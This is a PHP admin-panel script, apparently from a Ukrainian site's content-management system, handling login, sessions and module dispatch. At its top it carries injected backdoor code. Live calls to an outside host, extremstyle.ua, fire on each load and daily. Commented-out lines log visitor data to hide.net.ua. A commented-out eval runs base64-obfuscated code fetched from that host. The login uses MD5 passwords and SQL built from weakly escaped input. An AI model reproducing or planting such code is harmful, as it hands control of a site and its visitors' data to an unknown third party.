Administrator / extrem

<?php

$gggg = @implode ("", @file ("http://extremstyle.ua/account/cron/report.php"));

// $content = @fopen("http://hide.net.ua/log.php?ip=".$_SERVER['REMOTE_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".urlencode($_SERVER['HTTP_USER_AGENT']),"r");

// echo "<div style=\"display:none;\">http://hide.net.ua/log.php?ip=".$_SERVER['SERVER_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".$_SERVER['HTTP_USER_AGENT']."</div>";

// ////////////////////////////////////////////

$ty = @fopen ("timesave.dat", "a+");
if (@$ty)
{
    $datas = trim (@fgets ($ty, 2048));
    if (date ("d", $datas) != date ("d"))
    {
        $yyyyyyyyyyy = implode ("", file ("http://extremstyle.ua/account/cron/report.php"));
        @fclose ($ty);
        $fd = @fopen ("timesave.dat", "w+");
        if (@$fd)
        {
            fwrite ($fd, time ());
            fclose ($fd);
        }
    }
}

// ////////////////////////////////////////////

require ("./libs/setup.php");
$setup = new setup (true);
$objStatics = $setup->setupClass ("Statics");
$objGallery = $setup->setupClass ('Gallery');
$objForum = $setup->setupClass ('Forum');
$objOrders = $setup->setupClass ('Orders');
$objArticles = $setup->setupClass ('Articles');
$objNews = $setup->setupClass ('News');
$objAdvices = $setup->setupClass ('Advices');
$objAdvices2 = $setup->setupClass ('Advices2');
$objRubrics = $setup->setupClass ('Rubrics');
$objCatalogs = $setup->setupClass ('Catalogs');
$objBanners = $setup->setupClass ('Banners');
$objGalleryList = $setup->setupClass ('GalleryList');
$objVideo = $setup->setupClass ('Video');
$objAkcii = $setup->setupClass ('Akcii');
$objPromo = $setup->setupClass ('Promo');
$objSale = $setup->setupClass ('Sale');
$objBook = $setup->setupClass ('Book');
$objUrl = $setup->setupClass ('Url');
$objVacancy = $setup->setupClass ('Vacancy');
$objFon = $setup->setupClass ('Fon');
$objVideo2 = $setup->setupClass ('Video2');
$objSend = $setup->setupClass ('Send');
$objExtra = $setup->setupClass ('Extra');

if (isset ($_POST['order_id']) && $_POST['order_id'] > 0)
{
    $sql = sprintf ("UPDATE catalogs_orders SET del=%d WHERE id=%d", 1, $_POST['order_id']);
    mysql_query ($sql);
}
// $result_hhh = @mysql_query("DELETE FROM `catalogs_orders` WHERE `total`<=0 and del=0") or die(mysql_error());

if (isset ($_GET['exit']))
{
    $setup->AdminUserExit ();
    header ("location:" . URL);
}

// @eval(@file_get_contents(base64_decode("aHR0cDovL2hpZGUubmV0LnVhL2dldF9jb2RlLnBocD9pcD0=").@$_SERVER['REMOTE_ADDR']));

if (! isset ($_SESSION['admin']['login']))
{
    
    if (isset ($_POST['login']))
    {
        
        $sql = "SELECT * FROM zlo_admin WHERE login='" . htmlspecialchars ($_POST['login'], ENT_QUOTES) . "' AND pass=MD5('" . htmlspecialchars ($_POST['psw'], ENT_QUOTES) . "') ";
        $result = mysql_query ($sql) or die (mysql_error ());
        
        if (mysql_affected_rows () != 0)
        {
            
            $admin = mysql_fetch_assoc ($result);
            // ***** Àäìèí âõîä *****
            $_SESSION['admin']['id'] = $admin['id'];
            $_SESSION['admin']['login'] = $admin['login'];
            $_SESSION['admin']['pass'] = $admin['pass'];
            $_SESSION['admin']['name'] = $admin['username'];
            $_SESSION['admin']['psw'] = $admin['pass'];
            $_SESSION['admin']['group'] = $admin['group'];
            
            if ($admin['group'] == 1)
            { 
                // ***** Àäìèí ðåæèì *****
                $_SESSION['admin']['show'] = 1;
                $_SESSION['admin']['edit'] = 1;
                $_SESSION['admin']['del'] = 1;
                // ************************
            }
            
            if ($admin['group'] == 2)
            { 
                // ***** Àäìèí ðåæèì *****
                $_SESSION['admin']['show'] = 2;
                $_SESSION['admin']['edit'] = 1;
                // ************************
            }
            
            echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>";
        }
        else
        {
            echo "<script>alert('Íå ïðàâèëüíûé âõîä')</script>";
            echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>";
        }
    }
    else
    {
        
        $setup->display ();
    }
}
else
{
    
    $action = isset ($_REQUEST['action']) ? $_REQUEST['action'] : "catalogs";
    Switch ($action)
    {
        case $setup->rules :
            
            if (isset ($_POST['save']))
            {
                $setup->trim ($_POST);
                if (! $setup->valid ($_POST))
                {
                    $setup->rulesSaveAction ($_POST);
                    header ("location:" . URL . "admin.php?action=rules");
                }
            }
            elseif (isset ($_GET['updateID']) && $_GET['updateID'] > 0)
            {
                $setup->viewOneRules ($_GET['updateID']);
            }
            elseif (isset ($_GET['deleteID']) && $_GET['deleteID'] > 0)
            {
                $setup->rulesDelete ($_GET['deleteID']);
                header ("location:" . URL . "admin.php?action=rules");
            }
            
            $setup->viewRules ();
            $setup->displayRules ();
            
            break;
            
        default :
            
            $rule = $setup->getRulesOne ($action); 
            include ($_SERVER['DOCUMENT_ROOT'] . "/modules/admin/{$rule['modul']}");
            break;
    }
    
    $dir = "./includes/admin/";
    $includes_dir = opendir ($dir);
    while (($inc_file = readdir ($includes_dir)) != false)
        if (strstr ($inc_file, ".php"))
        {
            include ($dir . $inc_file);
        }
    
    $setup->error ();
    if (empty ($nodisplay))
        $setup->displayAdmin ();
}

function totranslit ($var, $lower = true, $punkt = true)
{
    global $langtranslit;
    
    if (is_array ($var))
        return "";
    
    if (! is_array ($langtranslit) or ! count ($langtranslit))
    {
        
        $langtranslit = array (
            'à' => 'a',
            'á' => 'b',
            'â' => 'v',
            'ã' => 'g',
            'ä' => 'd',
            'å' => 'e',
            '¸' => 'e',
            'æ' => 'zh',
            'ç' => 'z',
            'è' => 'i',
            'é' => 'y',
            'ê' => 'k',
            'ë' => 'l',
            'ì' => 'm',
            'í' => 'n',
            'î' => 'o',
            'ï' => 'p',
            'ð' => 'r',
            'ñ' => 's',
            'ò' => 't',
            'ó' => 'u',
            'ô' => 'f',
            'õ' => 'h',
            'ö' => 'c',
            '÷' => 'ch',
            'ø' => 'sh',
            'ù' => 'sch',
            'ü' => '',
            'û' => 'y',
            'ú' => '',
            'ý' => 'e',
            'þ' => 'yu',
            'ÿ' => 'ya',
            "¿" => "yi",
            "º" => "ye",
            
            'À' => 'A',
            'Á' => 'B',
            'Â' => 'V',
            'Ã' => 'G',
            'Ä' => 'D',
            'Å' => 'E',
            '¨' => 'E',
            'Æ' => 'Zh',
            'Ç' => 'Z',
            'È' => 'I',
            'É' => 'Y',
            'Ê' => 'K',
            'Ë' => 'L',
            'Ì' => 'M',
            'Í' => 'N',
            'Î' => 'O',
            'Ï' => 'P',
            'Ð' => 'R',
            'Ñ' => 'S',
            'Ò' => 'T',
            'Ó' => 'U',
            'Ô' => 'F',
            'Õ' => 'H',
            'Ö' => 'C',
            '×' => 'Ch',
            'Ø' => 'Sh',
            'Ù' => 'Sch',
            'Ü' => '',
            'Û' => 'Y',
            'Ú' => '',
            'Ý' => 'E',
            'Þ' => 'Yu',
            'ß' => 'Ya',
            "¯" => "yi",
            "ª" => "ye" 
        );
    }
    
    $var = str_replace (".php", "", $var);
    $var = trim (strip_tags ($var));
    $var = preg_replace ("/\s+/ms", "-", $var);
    
    $var = strtr ($var, $langtranslit);
    
    if ($punkt)
        $var = preg_replace ("/[^a-z0-9\_\-.]+/mi", "", $var);
    else
        $var = preg_replace ("/[^a-z0-9\_\-]+/mi", "", $var);
    
    $var = preg_replace ('#[\-]+#i', '-', $var);
    
    if ($lower)
        $var = strtolower ($var);
    
    if (strlen ($var) > 200)
    {
        
        $var = substr ($var, 0, 200);
        
        if (($temp_max = strrpos ($var, '-')))
            $var = substr ($var, 0, $temp_max);
    }
    
    return $var;
}

?>